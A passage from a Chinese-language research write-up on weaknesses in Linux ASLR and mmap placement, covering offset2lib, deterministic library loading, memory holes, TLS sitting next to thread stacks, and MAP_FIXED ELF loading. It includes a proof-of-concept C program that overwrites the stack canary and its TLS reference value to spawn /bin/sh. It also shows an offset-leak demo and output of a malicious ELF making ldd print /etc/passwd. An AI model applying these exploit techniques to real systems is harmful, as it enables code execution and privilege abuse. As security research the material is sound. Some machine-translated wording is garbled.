加载的库(文件)之间没有任何空闲页面。无论我们重复这个过程几次,文件也都实际上将保持不变:页面之间的差异将有所不同,而库和文件在相对于其他页面的位置上保持相同。
这一事实对我们的分析至关重要。

当前的mmap实现是造成这种行为的原因。逻辑位于在do_mmap内核函数中,该函数实现内存在用户态(mmap syscall)和内核(在执行execve时)的分配。
在第一阶段,选择一个可用地址(get_unmapped_area);在第二阶段,将页面映射到该地址(mmap_region)。
我们将从第一阶段开始。

在选择地址时,可以使用以下选项:
1.如果设置MAP_FIXED 标志,系统将返回addr参数的值作为地址。
2.如果addr参数值不是零,则使用此值作为hint,在某些情况下,将直接选择此值。
3.只要可用区域的最大地址长度合适并且位于可选择地址的允许范围内,将选择它作为地址。
4.检查地址是否存在与安全相关的限制。
如果所有操作都成功,则将分配所选地址的内存区域。

地址选择算法的细节
进程虚拟内存管理器的基础结构是vm_area_struct(简称vma):

  struct vm_area_struct {
      unsigned long vm_start; /* Our start address within vm_mm. */
      unsigned long vm_end; /* The first byte after our end address
  within vm_mm. */
      ...
      /* linked list of VM areas per task, sorted by address */
      struct vm_area_struct *vm_next, *vm_prev;

      struct rb_node vm_rb;
      ...
      pgprot_t vm_page_prot; /* Access permissions of this VMA. */
      ...
  };

此结构描述虚拟内存区域的开始、区域结束和区域内页的访问标志。VMA按升序排列在双链接的区域起始地址列表中,也按升序排列在区域起始地址的增广红-黑树中。
内核开发人员自己给出了这个解决方案的一个很好的基本原理[1]。

红-黑树增强是特定节点的可用内存量。
节点可用内存量定义为:
-在升序双链接列表中,当前vma的开始与前面vma的结束之间的内存空间的差值。
-左子树的可用内存量。
-右手子树的可用内存量。

这种结构使快速搜索(在O(log n)时间内)可以对应于某个地址的VMA或选择某一长度的可用范围。
在地址选择过程中,还确定了两个重要的边界:最小下边界和最大上边界。

下边界由体系结构确定为最小允许地址或系统管理员允许的最小值。上边界即mmap_base,这个值被选择为基于栈的随机值。这里“栈”是指最大栈地址,而“随机”是一个随机值,熵为28到32位,这取决于相关的内核参数。
Linux内核不能选择高于mmap_base的地址。在地址进程的地址空间中,大型mmap_base值要么对应于堆栈和特殊系统区域(vvar和vdso),要么显式地标记为MMAP_FIXED标志,否则将永远不会使用。

因此,在整个方案中,下列值仍然未知:
-主线程栈的起始地址
-加载应用程序二进制文件的Base Address
-应用程序堆的起始地址以及mmap_base,它是使用mmap分配内存的起始地址。

=====================================================
ii.当前实施中的问题。
=====================================================
刚才描述的内存分配算法有一些缺点。
=====================================================
ii.1.接近内存位置。
=====================================================
应用程序使用虚拟RAM。应用程序对内存的常用用法包括加载模块、线程堆栈和加载文件的堆、代码和数据(.rodata,.bss)。
在处理这些页面中的数据时,任何错误都可能影响到附近的数据。当更多具有不同类型内容的页面位于近距离时,攻击区域会变得更大,成功利用的可能性也会增加。
此类错误的例子包括越界[2]、溢出(整数[3]或缓冲区[4])和类型混淆[5]。

这个问题的一个具体实例是,系统仍然容易受到offset2lib攻击,如[6]所述。
简而言之,程序加载的Base Address和库的加载地址都是连在一起的,但是内核却选择它作为了mmap_base。

如果应用程序包含漏洞,则更容易利用它们,因为库映像靠近二进制应用程序映像。
演示此问题的一个很好的示例是[7]中的PHP漏洞,该漏洞允许读取或更改相邻的内存区域。

=====================================================
ii.2. 加载库的固定方法。
=====================================================

在Linux中,动态库实际上是在不调用Linux内核的情况下加载的。LD库(来自GNU Libc)负责这个过程。内核参与的唯一方式是通过mmap函数(我们还不考虑open/stat和其他文件操作):这是将代码和库数据加载到进程地址空间所必需的。一个例外是ld库本身,它通常作为文件加载的解释器写入可执行ELF文件中。至于解释器,它是由内核加载的。

如果使用GNU Libc中的ld作为解释器,则库的加载方式与以下类似:

1.将程序ELF文件添加到文件队列中进行处理。
2.从队列(FIFO)中取出第一个ELF文件。
3.如果该文件尚未加载到进程地址空间,则在mmap的帮助下加载该文件。
4.该文件所需的每个库都被添加到文件队列中进行处理。
5.只要队列不是空的,就重复步骤2。

此算法意味着加载顺序总是确定的,如果所有需要的库(其二进制文件)都是已知的,则可以重复加载。如果知道任何单个库的地址,则允许恢复所有库的地址:

1.假设libc库的地址是已知的。
2.将libc库的长度添加到libc加载地址-这是在libc之前加载的库的加载地址。
3.以同样的方式继续,我们获得在libc之前加载的库的mmap_base值和地址。
4.从libc地址减去libc之后加载的库的长度。这是libc之后加载的库的地址。
5.以同样的方式迭代,我们获得在程序开始时加载的所有库的地址。

如果在程序运行时加载了库(例如,通过dlopen函数),在某些情况下,攻击者可能不知道它相对于其他库的位置。例如,如果存在攻击者不知道分配的内存区域大小的mmap调用,则可能发生这种情况。

在利用漏洞时,对库地址的了解非常有帮助:例如,在搜索用于构建ROP链的gadget时。此外,如果任何库包含允许相对于库地址进行读取或写入值的漏洞,则此类漏洞很容易被利用,因为库是连续的。

大多数Linux发行版都包含具有最广泛库(例如libc)的编译包。这意味着库的长度是已知的,在这种情况下,相当于就知道了进程的虚拟地址空间分布的部分细节。

理论上,可以为此建立一个大型数据库。对于Ubuntu,它将包含库的版本,包括ld、libc、libp线程和libm;对于每个版本的库,可以分析它所需的多个版本的库(依赖关系)。因此,通过了解一个库的地址,就可以知道描述部分进程地址空间分布的可能映射版本。

这类数据库的例子有libcdb.com和libc.blukat.me,它们用于根据已知函数的偏移量来标识libc版本。

这意味着加载库的固定方法是应用程序的安全问题。上一节描述的mmap的行为使问题复杂化。在Android中,这个问题在版本7和更高版本[8][9]中得到了解决。

=====================================================
ii.3.固定执行顺序
=====================================================

程序有一个有趣的属性:在执行线程中有一对特定的点,在这对点之间程序状态是可预测的。例如,一旦客户端连接到网络服务,服务就会向客户端分配一些资源。这些资源的一部分可以从应用程序堆中分配。在这种情况下,对象在堆中的相对位置通常是可预见的。

通过“生成”攻击者所需的程序状态,此属性对于利用应用程序非常有用。在这里,我们称这种状态为固定的执行顺序。

在此属性的某些情况下,执行线程中有某个不动点。此时,从执行开始,从启动到启动,除了一些变量之外,程序状态保持不变。例如,在执行主函数之前,ld解释器必须加载和初始化所有库,然后初始化程序。如第4.2节所述,库的相对位置差将永远相同。在执行主函数期间,差异将包括用于程序加载、库、堆栈、堆和分配在内存中的对象的特定地址。这些差异是由于第6节所述的随机化造成的。

因此,攻击者可以获得关于程序数据相对位置的信息。此位置不受进程地址空间随机化的影响。

在这个阶段,唯一可能的熵来源是线程之间的竞争:如果程序创建了几个线程,它们在处理数据时的竞争可能会将熵引入对象的位置。在本例中,通过程序全局构造函数或所需库的帮助,可以在执行主函数之前创建线程。

当程序开始使用堆并从堆中分配内存时(通常是在new/malloc的帮助下),在每次启动之前,堆中对象的相互位置将保持不变。

在某些情况下,线程和堆栈的位置相对于库地址也是可预测的。

如果需要,可以获得这些偏移量以用于开发。一种方法是简单地为这个应用程序执行“strace -e mmap”两次,并比较地址的差异。

=====================================================
ii.4. Holes
=====================================================

如果应用程序使用mmap分配内存,然后释放该内存的一部分,则会导致被占用区域包围的hole。如果此空闲内存(hole)再次分配给易受攻击的对象(应用程序在其处理过程中有漏洞的对象),则可能会出现问题。这就使我们回到了内存中对象位置挨得太紧的问题。

Linux内核的ELF文件加载代码中找到了这样一个Hole的说明性示例:加载ELF文件时,内核首先读取文件的大小,并尝试通过do_mmap将其完全映射。一旦文件被完全加载,第一个段之后的内存将被释放。之后的所有段都加载在相对于第一个段设置的固定地址(MAP_FIXED)处。
当然,肯定是要这么做的,因为如果你想把整个文件加载到选定的地址,并根据ELF文件中的描述按权限、偏移量给各个段分配内存,就只能这么做。
但问题在于,如果ELF文件段的描述就不是连续的,这么分配的话就会导致内存中段不连续,也就是出现了hole。

但对于ld解释器(glibc)来说,在加载ELF文件期间将不调用Unmap,而是将空闲页面(hole)的权限更改为PROT_NONE,这将禁止进程访问这些页面。这种方法更安全。

要显示该问题的影响,请从以下命令开始:
$ strace -e mmap,munmap,open,openat,arch_prctl -f cat /proc/self/maps

openat(AT_FDCWD, “/etc/ld.so.cache”, O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 79806, PROT_READ, MAP_PRIVATE, 3, 0) = 0×7fa5fd8bc000

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd8ba000
arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500) = 0
munmap(0×7fa5fd8bc000, 79806) = 0

openat(AT_FDCWD, “/proc/self/maps”, O_RDONLY) = 3
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd898000

560d3c3e5000-560d3c3ed000 r-xp 00000000 08:01 1966104 /bin/cat
560d3c5ec000-560d3c5ed000 r–p 00007000 08:01 1966104 /bin/cat
560d3c5ed000-560d3c5ee000 rw-p 00008000 08:01 1966104 /bin/cat
560d3e00b000-560d3e02c000 rw-p 00000000 00:00 0 [heap]
7fa5fcebc000-7fa5fd2c9000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7fa5fd2c9000-7fa5fd49f000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd49f000-7fa5fd69f000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd69f000-7fa5fd6a3000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a3000-7fa5fd6a5000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a5000-7fa5fd6a9000 rw-p 00000000 00:00 0
7fa5fd6a9000-7fa5fd6d0000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd898000-7fa5fd8bc000 rw-p 00000000 00:00 0
7fa5fd8d0000-7fa5fd8d1000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d1000-7fa5fd8d2000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d2000-7fa5fd8d3000 rw-p 00000000 00:00 0
7ffc0a6bc000-7ffc0a6dd000 rw-p 00000000 00:00 0 [stack]
7ffc0a730000-7ffc0a733000 r–p 00000000 00:00 0 [vvar]
7ffc0a733000-7ffc0a735000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
munmap(0×7fa5fd898000, 139264) = 0
+++ exited with 0 +++

这里“/etc/ld.so.cache”通过mmap映射到了0×7fa5fd8bc000,即ld-2.26.so内部的hole上。稍后调用mmap获取大小为8192的0×7fa5fd8ba000地址。此范围包含主线程的TCB(线程控制块)结构,设置为arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500)。在调用“cat”程序的“main”函数之前,0×7fa5fd8bc000未映射,在tcb和ld只读段之间留下了另一个hole。

这两个hole:
1.在ld.text和0×7fa5fd8ba000之间,TCB使用的是什么。
2.在0×7fa5fd8bc000(TCB的结束)和ld.rdOnly之间,如果攻击者在这些漏洞中执行mmap之后容易遭受攻击对象(只需指定大小)并使用读/写超出限制的漏洞来访问LD数据或TCB或任何其他库数据,则可能使用该漏洞绕过ASLR。

以‘/self/proc/map’本身为例,它被mmap到0×7fa5fd898000的hole中。
在用户态调用mmap的另一种方法是使用长度很大的malloc调用。本例中是glibc的malloc调用的mmap。

=====================================================
ii.5. TLS和线程栈
=====================================================

线程本地存储(TLS)是一种机制,在这种机制中,多线程进程中的每个线程都可以为数据存储分配位置[10]。该机制在不同的体系结构和操作系统上实现不同。在我们的示例中,这是x86-64下的glibc实现。对于x86来说,对于所讨论的mmap问题,任何差异都不会是实质性的。

对于glibc的代码来说,mmap也用于创建TLS。这意味着TLS也是按照这里已经描述的方式选择的。如果TLS接近易受攻击的对象,则可以对其进行更改。

TLS有什么有趣的?在glibc实现中,段寄存器fs(对于x86-64体系结构)指向TLS。其结构由glibc源文件中定义的tcbhead_t类型描述:

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;

} tcbhead_t;

这种类型包含字段Stack_看板,它包含一个所谓的canary——一个随机或伪随机的数字,用于保护应用程序免受栈溢出[11]的影响。
这种保护的工作方式如下:当输入一个函数时,从tcbhead_t.stack_guard 获得的一个canary被放置在栈上。在函数的末尾,将栈值与tcbhead_t.stack_guard中的引用值进行比较。如果两个值不匹配,应用程序将返回错误并终止。

可以通过几种方式绕过canary:

-如果攻击者不需要覆盖此值[12]。
-如果攻击者设法读取或预期该值,则有可能执行成功的攻击[12]。
-如果攻击者能够用已知值覆盖此值,则可能导致栈溢出[12]。
-攻击者可以在应用程序终止[13]之前进行控制。
-列出的旁路突出了保护TLS不被攻击者读取或覆盖的重要性。

我们的研究表明,glibc对于使用pthread_create创建的线程来说,在TLS实现中存在一个问题。假设需要为新线程选择TLS。为堆栈分配内存后,glibc。
在此内存的上层地址初始化TLS。在这里考虑的x86-64体系结构上,堆栈向下增长,将TLS放在堆栈的顶部。
从TLS中减去某个常量值,得到一个新线程用于栈寄存器的值。从TLS到参数传递给pthread_create的函数的栈帧的距离小于一页。

现在,一个可能的攻击者不需要猜测或窃取canary-攻击者只需将引用值与栈值一起覆盖,就可以完全绕过保护。在Intel ME[14]中也发现了类似的问题。

以下是概念的证明:

void pwn_payload() {
char *argv[2] = {”/bin/sh”, 0};
execve(argv[0], argv, 0);
}

int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf(”thread FS %pn”, addr);
printf(”cookie thread: 0x%lxn”, addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf(”stack_cookie addr %p n”, &frame[-1]);
printf(”diff : %lxn”, (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0×41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}

int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0×30;
printf(”main FS %pn”, addr);
printf(”cookie main: 0x%lxn”, addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}

运行它:

blackzert@…sher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0×7f4d94b75700
cookie main: 0×2ad951d602d94100
thread FS 0×7f4d94385700
cookie thread: 0×2ad951d602d94100
stack_cookie addr 0×7f4d94384f48
diff : 7b8
$ ^D
blackzert@…sher:~/aslur/tests$

`Diff`这里是当前堆栈帧和TCB结构之间以字节为单位的大小。
这个等于0×7b8字节,少了一页。
缓冲区溢出可以绕过缓冲区溢出的保护。

=====================================================
ii.6.malloc和mmap。
=====================================================

在使用malloc时,如果请求的内存的大小大于某个值,则glibc有时会使用mmap来分配新的内存区域。在这种情况下,内存将在mmap的帮助下分配,因此,在内存分配之后,地址将接近使用mmap分配的库或其他数据。
攻击者密切关注堆对象处理中的错误,例如堆溢出、释放后使用[15]和类型混淆[5]。

当程序使用pthread_create时,会发现glibc库有一个有趣的行为。在第一次从用pthread_create创建的线程调用malloc时,glibc将调用mmap为这个堆栈创建一个新堆。因此,在这个线程中,通过malloc调用的所有地址都将位于同一个线程的堆栈附近。

一些程序和库使用mmap将文件映射到进程的地址空间。例如,这些文件可用作高速缓存或用于快速保存(改变)驱动器上的数据。

下面是一个抽象的示例:应用程序在mmap的帮助下加载MP3文件。让我们调用加载地址mmap_mp3。然后,应用程序从加载的数据读取到音频数据开始的偏移量。如果应用程序在其例行程序中包含验证该值长度的错误,则攻击者可以专门创建一个MP3文件,该文件能够访问mmap_mp3之后的内存区域。

Some PoC code:

int main(int argc, char **argv, char **envp)
{
int res;
system(”"); // call to make lazy linking
execv(”", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON |
MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, “system”);
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, “execv”);
printf(”addr %lx system %lx execv %lxn”, addr, addr_system, addr_execv);
printf(”system - addr %lx execv - addr %lxn”, addr_system - addr,
addr_execv - addr);
return 0;
}

And results:
blackzert@…sher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860

这显示了从mmap段到链接库数据的常量偏移(malloc也是这样)。

=====================================================
ii.7. MAP_FIXED的情况下ET_DYN ELF文件的加载。
=====================================================

mmap手册中关于MAP_FIXED式标志的说明如下:

MAP_FIXED

不要将addr解释为hint:一定要将映射放置在准确的地址。
addr必须是页大小的倍数。如果addr和len指定的内存区域与任何现有映射的页面重叠,则现有映射的重叠部分将被丢弃。如果无法使用指定的地址,mmap()将失败。由于映射需要固定地址的可移植性较低,因此不鼓励使用此选项。

如果带有MAP_FIXED标志的请求区域与现有区域重叠,则成功执行mmap将覆盖现有区域。

因此,如果程序员错误地使用MAP_FIXED,则可能会重新定义现有的内存区域。

在Linux内核和glibc中都发现了这样一个错误的有趣示例。
如[16]所述,ELF文件必须符合以下要求:在Phdr头中,ELF文件段必须按vaddr地址的升序排列:

PT_LOAD。

数组元素指定一个可加载的段,由p_filesz、p_memsz描述。文件中的字节映射到内存段的开头。
如果段的内存大小(p_memsz)大于文件大小(p_filesz),则定义“额外”字节来保存值0并跟踪段的初始化区域。文件大小不能大于内存大小。
程序头表中的可加载段条目按升序显示,在p_vaddr成员上排序。

但是,这一要求没有被检查。ELF文件加载的(作者写作时)最新代码如下:

case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));

maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;

for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)

所有段都按照以下算法处理:

1.计算加载的ELF文件的大小:最后一个段结束的地址减去第一个段的开始地址。
2.在mmap的帮助下,为这个大小的整个ELF文件分配内存,从而获得ELF文件加载的基本地址。
3.对于glibc,更改访问权限。如果从内核加载,释放造成漏洞的区域。这里,glibc和Linux内核的行为不同,如第4.4节所述。
4.借助mmap和MMAP_FIXED标志,通过使用通过隔离第一段获得的地址和添加从ELF文件头获得的偏移量来分配剩余段的内存。

这使入侵者能够创建一个恶意ELF文件,其中一个段可以完全覆盖现有的内存区域,例如线程的栈、堆或库代码。

易受攻击的应用程序的一个例子是LDD工具,该工具用于检查系统中是否存在所需的库:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0×00007ffc48545000)
libevil.so => ./libevil.so (0×00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0×00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0×000055dda45e6000)

该工具使用ld解释器。利用刚才讨论的ELF文件加载问题,我们成功地使用LDD执行了任意代码:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@…sher:~/aslur/tests/evil_elf$

在之前的Linux社区中也提出过MAP_FIXED的问题[17]。

by blast